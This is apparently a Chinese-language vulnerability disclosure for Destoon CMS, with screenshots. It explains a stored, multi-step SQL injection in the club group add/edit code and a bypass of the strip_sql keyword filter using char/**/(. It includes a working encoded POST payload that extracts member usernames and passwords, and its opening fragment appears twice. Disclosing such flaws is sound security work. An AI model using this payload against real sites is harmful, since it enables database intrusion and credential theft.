### 简要描述: 我会告诉你是三次注入么. ### 详细说明: destoon最新版 漏洞文件:/module/club/my_group.inc.php ``` case 'add': if($MG['club_group_limit'] && $limit_used >= $MG['club_group_limit']) dalert(lang($L['info_limit'], array($MG['club_group_limit'], $limit_used)), $MODULE[2]['linkurl'].$DT['file_my'].'?mid='.$mid.'&job='.$job); $need_captcha = $MOD['captcha_group'] == 2 ? $MG['captcha'] : $MOD['captcha_group']; $need_question = $MOD['question_group'] == 2 ? $MG['question'] : $MOD['question_group']; if($submit) { $msg = captcha($captcha, $need_captcha, true); if($msg) dalert($msg); $msg = question($answer, $need_question, true); if($msg) dalert($msg); $post['username'] = $_username; if($do->pass($post)) { $CAT = get_cat($post['catid']); if(!$CAT) dalert(lang($L['group'], array($CAT['catname']))); $post['addtime'] = $post['level'] = $post['fee'] = 0; $post['style'] = $post['template'] = $post['note'] = $post['filepath'] = ''; $need_check = $MOD['check_group'] == 2 ? $MG['check'] : $MOD['check_group'];...
### 简要描述: 我会告诉你是三次注入么. ### 详细说明: destoon最新版 漏洞文件:/module/club/my_group.inc.php ``` case 'add': if($MG['club_group_limit'] && $limit_used >= $MG['club_group_limit']) dalert(lang($L['info_limit'], array($MG['club_group_limit'], $limit_used)), $MODULE[2]['linkurl'].$DT['file_my'].'?mid='.$mid.'&job='.$job); $need_captcha = $MOD['captcha_group'] == 2 ? $MG['captcha'] : $MOD['captcha_group']; $need_question = $MOD['question_group'] == 2 ? $MG['question'] : $MOD['question_group']; if($submit) { $msg = captcha($captcha, $need_captcha, true); if($msg) dalert($msg); $msg = question($answer, $need_question, true); if($msg) dalert($msg); $post['username'] = $_username; if($do->pass($post)) { $CAT = get_cat($post['catid']); if(!$CAT) dalert(lang($L['group'], array($CAT['catname']))); $post['addtime'] = $post['level'] = $post['fee'] = 0; $post['style'] = $post['template'] = $post['note'] = $post['filepath'] = ''; $need_check = $MOD['check_group'] == 2 ? $MG['check'] : $MOD['check_group']; $post['status'] = get_status(3, $need_check); $post['hits'] = 0; $post['areaid'] = $cityid; $post['filepath'] = ''; $do->add($post); $msg = $post['status'] == 2 ? $L['success_check'] : $L['success_add']; $js = ''; set_cookie('dmsg', $msg); $forward = $MODULE[2]['linkurl'].$DT['file_my'].'?mid='.$mid.'&job='.$job.'&status='.$post['status']; $msg = ''; $js .= 'window.onload=function(){parent.window.location="'.$forward.'";}'; dalert($msg, '', $js); } else { dalert($do->errmsg, '', ($need_captcha ? reload_captcha() : '').($need_question ? reload_question() : '')); } } else { foreach($do->fields as $v) { $$v = ''; } $content = ''; $catid = intval($catid); $areaid = $cityid; $item = array(); } break; case 'edit': $itemid or message(); $do->itemid = $itemid; $item = $do->get_one(); if(!$item || $item['username'] != $_username) message(); if($submit) { $post['username'] = $_username; if($do->pass($post)) { $post['catid'] = $item['catid']; $post['title'] = $item['title']; $post['level'] = $item['level']; $post['fee'] = $item['fee']; $post['style'] = $item['style']; $post['template'] = $item['template']; $post['filepath'] = $item['filepath']; $post['status'] = $item['status']; $post['hits'] = $item['hits']; $do->edit($post); set_cookie('dmsg', $L['success_edit']); dalert('', '', 'parent.window.location="'.$forward.'"'); } else { dalert($do->errmsg); } } else { extract($item); } break; ``` 首先通过add操作 可引入\ 而在edit操作中 $item = $do->get_one(); 直接取出 $item['title'] 传给$post 参数 进入edit函数 无任何过滤 而在文件:/module/club/group.class.php (add() edit()所在文件) ``` function edit($post) { $this->delete($this->itemid, false); $post = $this->set($post); $sql = ''; foreach($post as $k=>$v) { if(in_array($k, $this->fields)) $sql .= ",$k='$v'"; } $sql = substr($sql, 1); $this->db->query("UPDATE {$this->table} SET $sql WHERE itemid=$this->itemid"); $this->update($this->itemid); clear_upload($post['thumb']); return true; } ``` $post数组里面不仅有之前从数据库取出,也通过post传入了 $post[thumb] $post[content] 而2个变量 在后面的update操作刚好在$title后面 于是通过$title引入\ 转义' 后面一个参数在加以控制进行注入 漏洞大概原理如此 其他下面说 ### 漏洞证明: 证明: 注册个企业会员 创建商圈 title处引入\ [<img src="https://images.seebug.org/upload/201511/02204405bc46b7d1a6828ed8fc267525343cfd60.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201511/02204405bc46b7d1a6828ed8fc267525343cfd60.png) 然后在编辑 [<img src="https://images.seebug.org/upload/201511/02204709f3cf32cab7568746464e1272b5d1a68e.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201511/02204709f3cf32cab7568746464e1272b5d1a68e.jpg) 然后你会发现thumb 和 content传入先后 就是他们update顺序的先后 而thumb会有个is_url的检测不可控制 所以先传入content 即可解决 接下来是绕过过滤的问题了 ``` function strip_sql($string, $type = 1) { $match = array("/union/i","/where/i","/having/i","/outfile/i","/dumpfile/i","/0x([a-f0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\{\(\+@`])/i","/update([\s\*\/\-\{\(\+@`])/i","/replace([\s\*\/\-\{\(\+@`])/i","/delete([\s\*\/\-\{\(\+@`])/i","/drop([\s\*\/\-\{\(\+@`])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/right[\s]*\(/i","/mid[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/bin[\s]*\(/i","/oct[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i","/conv[\s]*\(/i"); $replace = array('union','where','having','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','right(','mid(','concat(','concat_ws(','make_set(','ascii(','bin(','oct(','hex(','ord(','char(','conv('); if($type) { return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string); } else { return str_replace(array('d', 'e', 'g', 'i', 'm', 'n','p', 'r', 's', 't', 'v', 'x'), array('d', 'e', 'g', 'i', 'm', 'n', 'p', 'r', 's', 't', 'v', 'x'), $string); } } ``` 细看你会发现这个过滤中所以 ascii( char( 的过滤方式存在问题 /char[\s]*\(/i 我们可以传入char/**/(1) 即可绕过 但是直接出数据不可能了 那我们更新好我们的语句 再一次编辑 再进行注入 这样就是3次注入啦 而且在edit() 中set() 中最后会进行次$post = dhtmlspecialchars($post); 所以直接引入' 还是不行 还是只能引入\ 2个参数注入 但是content是永远从post直接获取的 于是重新挑选 ``` $post['catid'] = $item['catid']; $post['title'] = $item['title']; $post['level'] = $item['level']; $post['fee'] = $item['fee']; $post['style'] = $item['style']; $post['template'] = $item['template']; $post['filepath'] = $item['filepath']; $post['status'] = $item['status']; $post['hits'] = $item['hits']; ``` 我们挑选template 和 filepath 配合注入 第一次编辑 content 应该是 ``` post%5Bcontent%5D=,template=char/**/(92),filepath=char/**/(44,99,111,110,116,101,110,116,61,40,115,101,108,101,99,116,32,99,111,110,99,97,116,40,117,115,101,114,110,97,109,101,44,112,97,115,115,119,111,114,100,41,32,102,114,111,109,32,100,101,115,116,111,111,110,95,109,101,109,98,101,114,32,108,105,109,105,116,32,49,41,35)# ``` template 引入 \ filepath则是 ``` ,content=(select concat(username,password) from destoon_member limit 1)# ``` [<img src="https://images.seebug.org/upload/201511/022057125002cbdf1e1fb93424b24de7742ed52f.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201511/022057125002cbdf1e1fb93424b24de7742ed52f.png) 注意 content在前 thumb在后 [<img src="https://images.seebug.org/upload/201511/022057382e48298fd917184fc997978652f36804.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201511/022057382e48298fd917184fc997978652f36804.png) 之后再编辑一次 点进去就看到 [<img src="https://images.seebug.org/upload/201511/02205835a798ed575dd45ec2f31a7422df2f8ee0.png" alt="QQ图片20151102205815.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201511/02205835a798ed575dd45ec2f31a7422df2f8ee0.png) 乌云编辑器\被转义啦。。。 - -